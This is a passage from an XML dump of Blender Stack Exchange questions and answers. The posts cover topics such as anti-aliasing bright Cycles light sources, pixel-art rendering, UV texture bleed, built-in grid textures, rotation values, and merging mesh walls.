  <row Id="17845" PostTypeId="2" ParentId="17844" CreationDate="2014-10-16T09:57:59.180" Score="42" Body="&lt;p&gt;This is not a rendering artifact, everything is behaving exactly as designed.&lt;/p&gt;&#xA;&lt;p&gt;First an explanation of why these edges appear aliased, but if all you want is to solve this issue and don't care about the background info, scroll down to the &lt;strong&gt;Solution&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Why it occurs&lt;/h2&gt;&#xA;&lt;p&gt;Cycles works by randomly shooting rays from the camera into the scene. It does this many times per pixel, and gets the resulting color of the pixel from the average color of samples in that pixel.&lt;/p&gt;&#xA;&lt;p&gt;Take for example three adjacent pixels, rendered with 20 samples:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/irhyB.png&quot; alt=&quot;Sub pix&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The green shape is some surface, the white part is a light source, and the red dots are the sampled points.&lt;/p&gt;&#xA;&lt;p&gt;If the white light source has an intensity of 1.0:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The left pixel will be completely white (RGB: 1.0, 1.0, 1.0) because all the samples are also white&lt;/li&gt;&#xA;&lt;li&gt;The middle pixel had 4 green samples and 16 white samples, meaning the resulting color will be more white than green.&lt;/li&gt;&#xA;&lt;li&gt;The right pixel had 10 green samples and 10 white samples and so should be exactly halfway between white and green.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6iX57.png&quot; alt=&quot;pixel colors&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;So because the final pixel color is the average color of the samples, what happens when we have a light source with an intensity greater than 1.0? Say, 4.0:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The left pixel will still appear white on our screens, but the actual RGB value stored there is 4.0, 4.0, 4.0.&lt;/li&gt;&#xA;&lt;li&gt;The middle pixel will be much lighter now, because the white samples have 4x more effect on the average.&lt;/li&gt;&#xA;&lt;li&gt;The right pixel, will also be much lighter than before for the same reason.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UYSv2.png&quot; alt=&quot;pixel colors 2&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;So if our light source is very bright (as it often has to be due to the &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/render/shader_nodes/color/light_falloff.html?#light-falloff-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;natural quadratic falloff&lt;/a&gt;), the pixels on and immediately around the light will be very bright as well, since the average sample color is bright.&lt;/p&gt;&#xA;&lt;p&gt;That's the theory, and here's proof:&lt;/p&gt;&#xA;&lt;p&gt;A (zoomed) render of some rotated planes with varying intensity of Emission shaders:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qH4Jb.png&quot; alt=&quot;demo&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The intensity starts from 0.5 and doubles until the second last plane (intensity of 16), then jumps to 1000.0 to show an exaggerated effect.&lt;/p&gt;&#xA;&lt;p&gt;Below the horizontal line the intensity has been divided by 4 - so starting from 0.125, reaching 4.0 and jumping to 250.0.&lt;/p&gt;&#xA;&lt;p&gt;Notice that the more the intensity increases, the more aliased it appears.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Solution&lt;/h2&gt;&#xA;&lt;p&gt;There's an easy way to solve this issue: Simply get the light source to appear as regular white (RGB: 1.0, 1.0, 1.0) to the camera, but still let it be brighter to non-camera rays so that it can light the scene properly.&lt;/p&gt;&#xA;&lt;p&gt;To do this, use the &lt;em&gt;Is Camera Ray&lt;/em&gt; output of the &lt;em&gt;Light Path&lt;/em&gt; node as the Fac for a MixRGB node where two values are connected to the colors (the top input being the actual light intensity, and the bottom input being the intensity the camera will see):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cI084.png&quot; alt=&quot;nodes1&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Which results in:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B1Qxs.jpg&quot; alt=&quot;nodes1_result&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;But as you can see, because our light was colored it now looks a bit dull.&lt;/p&gt;&#xA;&lt;p&gt;To fix this, we just need to use a similar light path trick for the color input to make the light appear white to the camera, but the original color to the scene:&lt;br /&gt;&#xA;&lt;sub&gt;click for full size&lt;/sub&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/lJtQd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lJtQd.png&quot; alt=&quot;nodes2&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note: The &lt;em&gt;Light Color&lt;/em&gt; node in the screenshots is simply a node group containing some nodes which only allow light to be emitted from the &lt;a href=&quot;https://blender.stackexchange.com/a/2083/9&quot;&gt;front side of the mesh&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;So there ya go! Nice anti-aliased light sources :)&lt;/p&gt;&#xA;&lt;p&gt;The only down side of this method is if you are relying on those brighter-than-white values for compositing glare/glow - but usually the glare/glow itself will hide those nasty aliased edges.&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="15924" LastEditDate="2020-10-21T15:08:20.703" LastActivityDate="2020-10-21T15:08:20.703" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17846" PostTypeId="1" CreationDate="2014-10-16T10:26:25.047" Score="3" ViewCount="2695" Body="&lt;p&gt;I want to create pixelart sprites for my game, but instead of drawing them, I want to render them with blender. Is it possible to make render like these &lt;a href=&quot;http://timmaxwell.org/pages/retrorenderer/&quot; rel=&quot;nofollow&quot;&gt;http://timmaxwell.org/pages/retrorenderer/&lt;/a&gt; ? I think about this flat shading and outline black lines.&lt;/p&gt;&#xA;" OwnerUserId="806" LastEditorUserId="1958" LastEditDate="2020-07-29T18:13:26.347" LastActivityDate="2020-07-29T18:13:26.347" Title="Pixelart style render in blender" Tags="&lt;rendering&gt;&lt;pixel-art&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17847" PostTypeId="2" ParentId="17846" CreationDate="2014-10-16T10:33:07.407" Score="3" Body="&lt;p&gt;You might want to have a look at this: &lt;a href=&quot;http://www.blendswap.com/blends/view/65505&quot; rel=&quot;nofollow&quot;&gt;http://www.blendswap.com/blends/view/65505&lt;/a&gt;&#xA;or this: &lt;a href=&quot;http://www.blendswap.com/blends/view/44982&quot; rel=&quot;nofollow&quot;&gt;http://www.blendswap.com/blends/view/44982&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are both using Freestyle for the lines, and Eight_Bit blending has no anti-aliasing. But you can find all that out with a look at the .blend files.&lt;/p&gt;&#xA;" OwnerUserId="6310" LastEditorUserId="9" LastEditDate="2014-10-16T11:39:21.693" LastActivityDate="2014-10-16T11:39:21.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17848" PostTypeId="2" ParentId="17816" CreationDate="2014-10-16T10:49:17.037" Score="0" Body="&lt;p&gt;Another place you might store a dictionary is in the scene itself.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene['mydataparams'] = {'value':1}&#xA;bpy.context.scene['mydataparams']['value']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will get stored with the blender file. Whether that's a good thing or a bad thing is up to you.&lt;/p&gt;&#xA;" OwnerUserId="3420" LastActivityDate="2014-10-16T10:49:17.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17849" PostTypeId="2" ParentId="17842" CreationDate="2014-10-16T13:05:30.340" Score="1" Body="&lt;p&gt;UV's are used to define a link between a 3d surface and a 2d surface. When a colour is needed for the 3d surface it finds a location in 2d space and then chooses the nearest pixel from the image. While rounding floating point numbers and choosing the nearest pixel from the image there can be slight variations while following the edge between two points. While texture painting may get drawn to the left, the renderer may choose from the right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this reason it is common to bleed the texture colour past the visible edge of the UV's so that there is always a valid colour to be chosen. This means you need to leave some space between islands when laying out your UV's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When texture painting there is an option to set the amount of bleed, it's location is probably a bit misleading as it is found within the project paint settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/88teF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-10-16T13:05:30.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17850" PostTypeId="1" CreationDate="2014-10-16T14:11:48.297" Score="3" ViewCount="103" Body="&lt;p&gt;I need to find all parts of a mesh which are separated by seams, or which are unconnected sub meshes. As an illustration see the following image:&lt;img src=&quot;https://i.stack.imgur.com/h1hGS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to get the sets of faces for each of the 5 shown mesh areas. How can i do that in a convenient way with Python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this operator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.select_linked(limit=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But maybe bmesh could provide a better way to go here ?&lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorUserId="248" LastEditDate="2014-10-16T16:05:52.367" LastActivityDate="2014-10-16T16:05:52.367" Title="how to find all faces linked to a specific face" Tags="&lt;python&gt;&lt;bmesh&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ClosedDate="2015-04-29T14:22:39.233" ContentLicense="CC BY-SA 3.0" />
  <row Id="17851" PostTypeId="1" AcceptedAnswerId="17855" CreationDate="2014-10-16T15:10:47.070" Score="5" ViewCount="19930" Body="&lt;p&gt;I'm looking for a texture like this one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J0cX9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or the grid on the ground here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y5WjJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are those already implemented in blender internal? Or else in Cycles ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched for &quot;grid textures&quot;, &quot;color grid textures&quot; (on google) to get the images and apply them as image textures but I didn't find them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to generate them procedurally (in python)?&lt;/p&gt;&#xA;" OwnerUserId="4854" LastEditorUserId="2217" LastEditDate="2014-10-16T16:45:07.467" LastActivityDate="2014-10-16T16:45:07.467" Title="Are there some default grid pattern textures in blender?" Tags="&lt;texturing&gt;&lt;image&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ClosedDate="2014-10-16T19:42:07.997" ContentLicense="CC BY-SA 3.0" />
  <row Id="17852" PostTypeId="1" CreationDate="2014-10-16T15:25:39.893" Score="5" ViewCount="2682" Body="&lt;p&gt;So I just learned about symmetrize, but don't want to start over on my mesh. Is there a way I can easily select the half I like less, delete it, and then use symmetrize and automerge doubles to have a perfectly even mesh?&lt;/p&gt;&#xA;" OwnerUserId="7496" LastEditorDisplayName="user1853" LastEditDate="2014-10-16T21:10:03.580" LastActivityDate="2018-12-29T10:43:22.173" Title="Selecting vertices in reference to a plane, ex: Select all vertices to the right of the origin" Tags="&lt;selection-tools&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17853" PostTypeId="2" ParentId="17852" CreationDate="2014-10-16T15:32:15.033" Score="7" Body="&lt;p&gt;Select one vertex in the middle of your model, then press &lt;em&gt;Menu &gt; Select &gt; Side of Active&lt;/em&gt; and choose the axis and axis mode in the &lt;em&gt;redo panel&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rzTX9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7474" LastEditorUserId="599" LastEditDate="2014-10-16T20:02:26.790" LastActivityDate="2014-10-16T20:02:26.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17854" PostTypeId="1" AcceptedAnswerId="17857" CreationDate="2014-10-16T15:57:04.937" Score="7" ViewCount="3411" Body="&lt;p&gt;Say I have a wall piece, one is rotated 180° the other is rotated -180°. Another example is -90° and 270° and 630°. The two respective examples look the same in my scene, is there any difference? Should I go and make all of the rotation values positive? What is the purpose for rotation values above 360°?&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2018-10-16T09:12:31.877" Title="What is the difference between positive and negative rotation?" Tags="&lt;transforms&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17855" PostTypeId="2" ParentId="17851" CreationDate="2014-10-16T16:11:53.103" Score="6" Body="&lt;p&gt;There are three grid pattern textures, or checker patters in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two are accessible only from blender's &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping/UV_Image_Editor&quot; rel=&quot;noreferrer&quot;&gt;Image Editor&lt;/a&gt; when making a new image.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ku0iS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Those are the &lt;em&gt;UV Grid&lt;/em&gt; and &lt;em&gt;Color Grid&lt;/em&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/m7QiQ.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/zZWys.png&quot; alt=&quot;Color Grid&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other pattern is built in to cycles as the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Textures#Checker_Texture&quot; rel=&quot;noreferrer&quot;&gt;Checker Texture&lt;/a&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7fJYp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-10-16T16:11:53.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17857" PostTypeId="2" ParentId="17854" CreationDate="2014-10-16T17:16:25.670" Score="6" Body="&lt;p&gt;The Euler rotation is calculated by a &lt;a href=&quot;https://en.wikipedia.org/wiki/Rotation_matrix&quot; rel=&quot;nofollow noreferrer&quot;&gt;rotation matrix&lt;/a&gt; which uses &lt;a href=&quot;http://en.wikipedia.org/wiki/Trigonometric_functions&quot; rel=&quot;nofollow noreferrer&quot;&gt;sine and cosine&lt;/a&gt;; These functions are periodical, which means it wouldn't make any difference whether you set the value for &amp;Phi; to &amp;Phi;+360° or &amp;Phi;-360°.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j0Cj7.gif&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;sup&gt;image by Udo Brechtel (Wikipedia); the label Einheitskreis means unit circle &lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rotating a cube by 90 degrees (or a rectangle by 180°) wouldn't have any effect to the un-textured appearance of the mesh, but it would for materials (think of it like differently textured faces). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As @cegaton already commented, animations rely on the direction of your rotation. An arm could reach the same position by rotating 90° in one or 270° in the opposite direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you increase the rotation by e.g. 720° between two keyframes the object would rotate twice around the keyframed axis. Note that Quaternions behave differently you can't express rotations &gt; 360° with them.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-10-17T10:51:47.907" LastActivityDate="2014-10-17T10:51:47.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17858" PostTypeId="1" CreationDate="2014-10-16T19:49:56.450" Score="2" ViewCount="523" Body="&lt;p&gt;Recently, I've finished building my new Desktop. First thing I did was to install Blender and render a complex poly old project of mine. But Blender won't render on my Dual GTX 980, not even on single GTX 980. I've tried everything, but I can't get it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody help me? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S : I've already tried the &quot; Set it on Experimental &quot; thing, but no luck.&lt;/p&gt;&#xA;" OwnerUserId="7527" LastActivityDate="2014-10-16T19:49:56.450" Title="Blender won't render on Dual / Single GTX 980" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;gpu&gt;" AnswerCount="0" CommentCount="7" ClosedDate="2014-10-16T22:45:54.127" ContentLicense="CC BY-SA 3.0" />
  <row Id="17859" PostTypeId="2" ParentId="17852" CreationDate="2014-10-16T19:53:32.173" Score="1" Body="&lt;p&gt;JuhaW's answer is probably the way to go, but if you don't want to click through all those menus, often a quick border select (&lt;kbd&gt;B&lt;/kbd&gt;) will do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3s8NQ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-16T19:53:32.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17860" PostTypeId="1" CreationDate="2014-10-16T20:40:01.203" Score="0" ViewCount="860" Body="&lt;p&gt;I am trying to develop a small dungeon. My idea to to generate it programmatically and refine it by hand. Floors and walls are all cubes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the &lt;a href=&quot;https://drive.google.com/file/d/0BwJEI5lgPQBmR3hTWUd6bDFMLVU/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;file&lt;/a&gt;. I want to do two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Merge Wall_1_Room04 with Wall_1_Room05&lt;/li&gt;&#xA;&lt;li&gt;Merge the wall obtained in the previous step with Wall_7_Room04&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I looked for a solution, but I was not able to find it. So I have a few questions for you:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is is possible to do it? If yes, how?&lt;/li&gt;&#xA;&lt;li&gt;Is the fact that every Wall has a child cube a limitation?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5287" LastEditorUserId="2217" LastEditDate="2014-10-16T21:04:02.627" LastActivityDate="2014-10-16T23:58:51.960" Title="How to merge adjacent cubes" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17861" PostTypeId="2" ParentId="17860" CreationDate="2014-10-16T20:47:18.927" Score="3" Body="&lt;p&gt;What you need to do is select Wall_1_Room04, then select Wall_1_Room05. once they are both selected, with Wall_1_Room05 being the active object press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt;. This will join the walls, the origin will be at the location of Wall_1_Room05's previous origin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, tab into edit mode, select all and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; &gt; Remove doubles. repeat the process for Wall_7_Room_04.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2014-10-16T20:47:18.927" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="17862" PostTypeId="2" ParentId="17860" CreationDate="2014-10-16T21:35:45.760" Score="1" Body="&lt;p&gt;Join those 3 walls together, select their inner faces, delete vertices, select all, remove doubles, select all and solidify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://youtu.be/i2w39D2bDZU&quot; rel=&quot;nofollow&quot;&gt;Video Link&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7474" LastEditorUserId="7474" LastEditDate="2014-10-16T23:58:51.960" LastActivityDate="2014-10-16T23:58:51.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17863" PostTypeId="2" ParentId="17844" CreationDate="2014-10-16T21:37:26.007" Score="9" Body="&lt;p&gt;As you note in your own answer, this happens because the light source is &lt;em&gt;much&lt;/em&gt; brighter than the brightest white color representable in an 8-bit RGB image, so even pixels that only partially overlap the light source will be so bright that they get drawn as pure white.&lt;/p&gt;&#xA;&lt;p&gt;The reason you don't see this happening in real-world photos is because the &lt;a href=&quot;//en.wikipedia.org/wiki/Point_spread_function&quot; rel=&quot;nofollow noreferrer&quot;&gt;point spread function&lt;/a&gt; of a real-world camera is never a perfectly sharp point, and so some of the light from the bright source will spread into neighboring pixels as &lt;a href=&quot;//en.wikipedia.org/wiki/Glare_%28vision%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;glare&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You can simulate this effect in Blender by adding a &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/compositing/types/filter/glare.html#glare-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;glare node&lt;/a&gt; to your image.&lt;sup&gt;1&lt;/sup&gt;  For merely smoothing the edges of bright light sources, only a &lt;em&gt;very&lt;/em&gt; small amount of glare should be needed; for example, try setting the mode to &amp;quot;fog glow&amp;quot; and the mix value to something like -0.9 or less.&lt;/p&gt;&#xA;&lt;p&gt;&lt;sup&gt;1) I hope, at least.  I'm not actually an experienced Blender user, so I'm just going by what the manual says, plus some general knowledge of optics.  Please let me know if it doesn't work.&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="7528" LastEditorUserId="15924" LastEditDate="2020-10-21T15:08:23.450" LastActivityDate="2020-10-21T15:08:23.450" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17864" PostTypeId="2" ParentId="17854" CreationDate="2014-10-16T22:34:47.600" Score="2" Body="&lt;p&gt;When measuring angles in degrees, you have a range of 0.0 to 360.0 to work with.  Anything outside of that is going to wrap back around to look just like some other value within that 0 to 360 range.  Simply subtract 360 from the angle if it is over 360, or add 360 to the angle if it is under 0.  For example, if you have a rotation of 540 degrees, that's really just a rotation of 180 degrees, because 540-360 = 180.  Likewise, if you have a rotation of say... -810 degrees, that's really just 270 degrees because -810 + 360 = -450... +360 = -90... +360 = 270.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now like cegaton says, context IS important.  If you're just positioning an object, that's simple, but if you're &lt;em&gt;animating&lt;/em&gt; an object, that can complicate things a bit.  See if you Have the rotation animated from 0 to 720 degrees, that's two full rotations even though it will end up right where it started at the end.&lt;/p&gt;&#xA;" OwnerUserId="6448" LastActivityDate="2014-10-16T22:34:47.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17865" PostTypeId="1" CreationDate="2014-10-17T00:31:28.950" Score="0" ViewCount="1291" Body="&lt;p&gt;I have completed a test model in blender 2.7 and upon assigning a material and texture to a shirt it all appears fine and the texture looks great in blender. However upon export to three.js the material color, blender default gray, of the shirt appears to bleed through the UV texture, which is a white cloth, not to be confused with cloth simulation, and it appears a lighter shade of blender default gray.&lt;br&gt;&#xA;But indeed the UV texture is present while I can observe the cloth fabric, threads etc. I have correctly chosen the assign button as needed. Would this be a shading issue or have I missed something after months and months of tutorials and reading?&lt;/p&gt;&#xA;" OwnerUserId="3313" LastEditorUserId="29" LastEditDate="2014-12-21T12:27:57.240" LastActivityDate="2021-01-24T06:07:25.827" Title="Texture, Material problem when exporting to three.js" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;&lt;export&gt;&lt;three.js&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17866" PostTypeId="1" AcceptedAnswerId="17874" CreationDate="2014-10-17T01:16:14.890" Score="2" ViewCount="1127" Body="&lt;p&gt;I posted this on blenderartist.org, but to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able copy the Fcurve modifiers applied to ShapeKey drivers and paste them onto their counterparts on other objects, the other object's ShapeKey drivers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is manually quite simple to do; as in, you just copy the all the fcurve modifiers on a Driver from the graph editor, select the other object and again in the graph editor paste them whichever fcurve you want, in this case, its drivers... But with scripting in Blender, it turns out to be an enigma, whereas there is only the ability to add and remove an fmodifier to an fcurve, example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.shape_keys['Key'].animation_data.drivers[0].modifiers.new()&#xA;bpy.data.shape_keys['Key'].animation_data.drivers[0].modifiers.remove()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But &lt;code&gt;bpy.ops.graph.fmodifier_copy()&lt;/code&gt; seems unbelievably tricky and seems not to play well within a script, like I think you need the area type to graph editor and invoke the command, which sounds pretty redundant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And since the Blender API is almost totally devoid of real-world examples explaining the application of its commands and procedures, I'm totally stuck. I searched far and wide, even tried digging through other scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I accomplish this task?&lt;/p&gt;&#xA;" OwnerUserId="7530" LastEditorUserId="2217" LastEditDate="2014-10-17T21:24:22.150" LastActivityDate="2014-10-18T09:19:37.297" Title="Copying and Pasting Fcurve modifiers Through Python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;drivers&gt;&lt;shape-keys&gt;&lt;graph-editor&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17867" PostTypeId="1" AcceptedAnswerId="17872" CreationDate="2014-10-17T02:29:57.177" Score="4" ViewCount="1665" Body="&lt;p&gt;I have 3 render layers that I'm compositing together in the 4th one. Everything works fine, but even if I don't see the layer in some specific moment blender still renders it. The problem is that I use the Cycles &lt;em&gt;volumetric light&lt;/em&gt; for a short time then it disappears and we don't see it anymore but it still takes forever to render even though every single light in the layer fades to black. How can I make it stop rendering what I don't need anymore?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I know, I can render it part by part and then composite a video, I can even render it with image sequence to not to lose any quality with re-encoding video, but it would be wonderful if it could be done withing blender compositor and animation system.&lt;/p&gt;&#xA;" OwnerUserId="7531" LastEditorUserId="5426" LastEditDate="2015-04-25T13:47:23.387" LastActivityDate="2015-04-25T13:47:23.387" Title="How to stop rendering a renderlayer at any moment of the animation?" Tags="&lt;render-layers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17868" PostTypeId="1" AcceptedAnswerId="17869" CreationDate="2014-10-17T03:03:13.567" Score="3" ViewCount="1295" Body="&lt;p&gt;I'm trying to model a database symbol like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9MYg8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I currently know how to do this is by starting with a flat cylinder and repeatedly extruding and scaling. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;extrude&#xA;scale Z&#xA;scale .9&#xA;extrude&#xA;scale Z&#xA;scale 1.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1ik3t.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eifvj.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/INTWz.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is very tedious. How else could I accomplish this? &lt;/p&gt;&#xA;" OwnerUserId="1026" LastActivityDate="2014-10-17T04:58:06.660" Title="Simplest way to create a database symbol" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17869" PostTypeId="2" ParentId="17868" CreationDate="2014-10-17T03:27:20.503" Score="3" Body="&lt;p&gt;create a single piece out of a cylinder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the edges less sharp read this question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/3199/weird-deformation-between-large-ngon-and-edge-ring/3204#3204&quot;&gt;Weird deformation between large ngon and edge ring&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ep9cr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iw7Sz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add an array modifier, and move the relative offset values for the Z axis like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iNF9N.png&quot; alt=&quot;enter image description 